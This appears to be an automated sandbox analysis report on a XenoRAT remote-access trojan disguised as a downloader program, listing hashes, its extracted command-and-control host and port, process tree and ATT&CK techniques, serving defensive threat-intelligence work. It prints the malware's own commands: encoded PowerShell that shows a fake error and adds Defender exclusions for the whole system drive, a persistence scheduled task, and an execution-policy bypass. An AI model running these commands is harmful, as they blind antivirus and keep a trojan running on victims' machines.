xenorat | b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10

Analysis

max time kernel
149s
max time network
120s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
04-07-2024 17:08

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General

Target

DownlaoderMenu.exe
Size

4.5MB
MD5

ec79983fdb605310fac832ba5809e2d6
SHA1

ca83d6453563e02decf614d0ce331de493267d2f
SHA256

b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10
SHA512

234bb8696c8a6929784165366dc4317d5826738711a7661bf26e4ffab8e958db23d0f2a11542b3f0b5c4c71d62d3e4bc7a730d94d917a21d132d40e2a67ed460
SSDEEP

98304:ePj50PrsilC2IbhblAh5+dWspirADIsYAVjw1gI:i5gahZWs80sfsw1R

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Family

xenorat

hax.onthewifi.com

Mutex

hAxxx

Attributes

delay
5000
install_path
appdata
port
1960
startup_name
Windows

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Executes dropped EXE 4 IoCs

Processes:

Downloader_Menu_2.1.exerisk.exerisk.execvtres.exe

pid process

2644 Downloader_Menu_2.1.exe
2744 risk.exe
2584 risk.exe
1448 cvtres.exe
Loads dropped DLL 3 IoCs

Processes:

DownlaoderMenu.exerisk.exeDownloader_Menu_2.1.exe

pid process

1312 DownlaoderMenu.exe
2744 risk.exe
2644 Downloader_Menu_2.1.exe
Drops file in Windows directory 1 IoCs

Processes:

DownlaoderMenu.exe

description ioc process

File created C:\Windows\Downloader_Menu_2.1.exe DownlaoderMenu.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2488 powershell.exe
2096 powershell.exe
548 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2860 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2096 powershell.exe
2488 powershell.exe
548 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2096 powershell.exe
Token: SeDebugPrivilege 2488 powershell.exe
Token: SeDebugPrivilege 548 powershell.exe

pid	process
2644	Downloader_Menu_2.1.exe
2744	risk.exe
2584	risk.exe
1448	cvtres.exe

pid	process
1312	DownlaoderMenu.exe
2744	risk.exe
2644	Downloader_Menu_2.1.exe

description	ioc	process
File created	C:\Windows\Downloader_Menu_2.1.exe	DownlaoderMenu.exe

pid	process
2488	powershell.exe
2096	powershell.exe
548	powershell.exe

pid	process
2860	schtasks.exe

pid	process
2096	powershell.exe
2488	powershell.exe
548	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

DownlaoderMenu.exerisk.exeDownloader_Menu_2.1.exerisk.execvtres.exe

description	pid	process	target process
PID 1312 wrote to memory of 2488	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2488	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2488	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2488	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2096	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2096	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2096	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2096	1312	DownlaoderMenu.exe	powershell.exe
PID 1312 wrote to memory of 2644	1312	DownlaoderMenu.exe	Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644	1312	DownlaoderMenu.exe	Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644	1312	DownlaoderMenu.exe	Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644	1312	DownlaoderMenu.exe	Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2744	1312	DownlaoderMenu.exe	risk.exe
PID 1312 wrote to memory of 2744	1312	DownlaoderMenu.exe	risk.exe
PID 1312 wrote to memory of 2744	1312	DownlaoderMenu.exe	risk.exe
PID 1312 wrote to memory of 2744	1312	DownlaoderMenu.exe	risk.exe
PID 2744 wrote to memory of 2584	2744	risk.exe	risk.exe
PID 2744 wrote to memory of 2584	2744	risk.exe	risk.exe
PID 2744 wrote to memory of 2584	2744	risk.exe	risk.exe
PID 2744 wrote to memory of 2584	2744	risk.exe	risk.exe
PID 2644 wrote to memory of 1448	2644	Downloader_Menu_2.1.exe	cvtres.exe
PID 2644 wrote to memory of 1448	2644	Downloader_Menu_2.1.exe	cvtres.exe
PID 2644 wrote to memory of 1448	2644	Downloader_Menu_2.1.exe	cvtres.exe
PID 2644 wrote to memory of 1448	2644	Downloader_Menu_2.1.exe	cvtres.exe
PID 2584 wrote to memory of 2860	2584	risk.exe	schtasks.exe
PID 2584 wrote to memory of 2860	2584	risk.exe	schtasks.exe
PID 2584 wrote to memory of 2860	2584	risk.exe	schtasks.exe
PID 2584 wrote to memory of 2860	2584	risk.exe	schtasks.exe
PID 1448 wrote to memory of 548	1448	cvtres.exe	powershell.exe
PID 1448 wrote to memory of 548	1448	cvtres.exe	powershell.exe
PID 1448 wrote to memory of 548	1448	cvtres.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe
"C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096

C:\Windows\Downloader_Menu_2.1.exe
"C:\Windows\Downloader_Menu_2.1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2644

C:\Users\Admin\cvtres.exe
C:\Users\Admin\cvtres.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Users\Admin\AppData\Roaming\risk.exe
"C:\Users\Admin\AppData\Roaming\risk.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2744

C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2433.tmp" /F
4⤵
- Scheduled Task/Job: Scheduled Task
PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp2433.tmp
Filesize
1KB

MD5
c824a7486b8af655d347fd367022d0d2

SHA1
17bb7f077818e6d5ecb3be0fc681d341b82dd72b

SHA256
025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14

SHA512
a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
289c368f56157adde3d7faadd51e1399

SHA1
ac24079cbc363b62621829f3edd6dda88ea3b165

SHA256
6dd83cf32503854c8ea75c983e1f052831e46838968a474e9e26efcf5e6f1803

SHA512
18796deb04cd0ca3296693e100304a8b7117cb77b863f31aa6ccedb12bdb3253355e39b3d4db616b61afe41b479c1625fc4e5f4abf98a5d172d86cee4885a584

Download Submit
C:\Users\Admin\AppData\Roaming\risk.exe
Filesize
45KB

MD5
2cb05f0d4360327b33956fedf516c6fe

SHA1
4562653b1361ce66ded9633e5883d00184c08796

SHA256
af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6

SHA512
f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6

Download Submit
C:\Users\Admin\temp.bat
Filesize
5.4MB

MD5
96b7afe999094957a1ce5b1c0ee0cb2f

SHA1
6b5d48b5f75246993de0263d27d2b9cdcc6ebf3f

SHA256
d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a

SHA512
ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c

Download Submit
C:\Users\Admin\temp.ps1
Filesize
1KB

MD5
5e817bbd9ef2f8821aa0283b20a51923

SHA1
102ca518d89653fb400636e660fa3fc276235c5c

SHA256
27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7

SHA512
f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e

Download Submit
C:\Users\Admin\temp_.bat
Filesize
5.4MB

MD5
ff46d6b0970c55dba491b6dd06384f84

SHA1
c8be08575f2174a9a00bff33e3b1a7c1d9c4a025

SHA256
a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85

SHA512
b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6

Download Submit
C:\Users\Admin\temp_.ps1
Filesize
1KB

MD5
5a0a8376c0e45cc25d4050920cee3dcc

SHA1
2de4ddf90f3165b245bd9f77c145c8f770c98b85

SHA256
86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25

SHA512
f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0

Download Submit
C:\Windows\Downloader_Menu_2.1.exe
Filesize
4.4MB

MD5
9d3195f106a540570da0d038bc07cf68

SHA1
33c1dd7a4101d1622b4d9268da0b731e00ddca39

SHA256
240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce

SHA512
9c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69

Download Submit
\Users\Admin\cvtres.exe
Filesize
5KB

MD5
c9698a20e68954387eed40d36d17c087

SHA1
c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179

SHA256
3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f

SHA512
f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813

Download Submit
memory/548-48-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/548-47-0x000000001B830000-0x000000001BB12000-memory.dmp

Filesize
2.9MB

Download
memory/1448-36-0x0000000000DC0000-0x0000000000DC8000-memory.dmp

Filesize
32KB

Download
memory/2584-28-0x0000000000BE0000-0x0000000000BF2000-memory.dmp

Filesize
72KB

Download
memory/2744-20-0x00000000000C0000-0x00000000000D2000-memory.dmp

Filesize
72KB

Download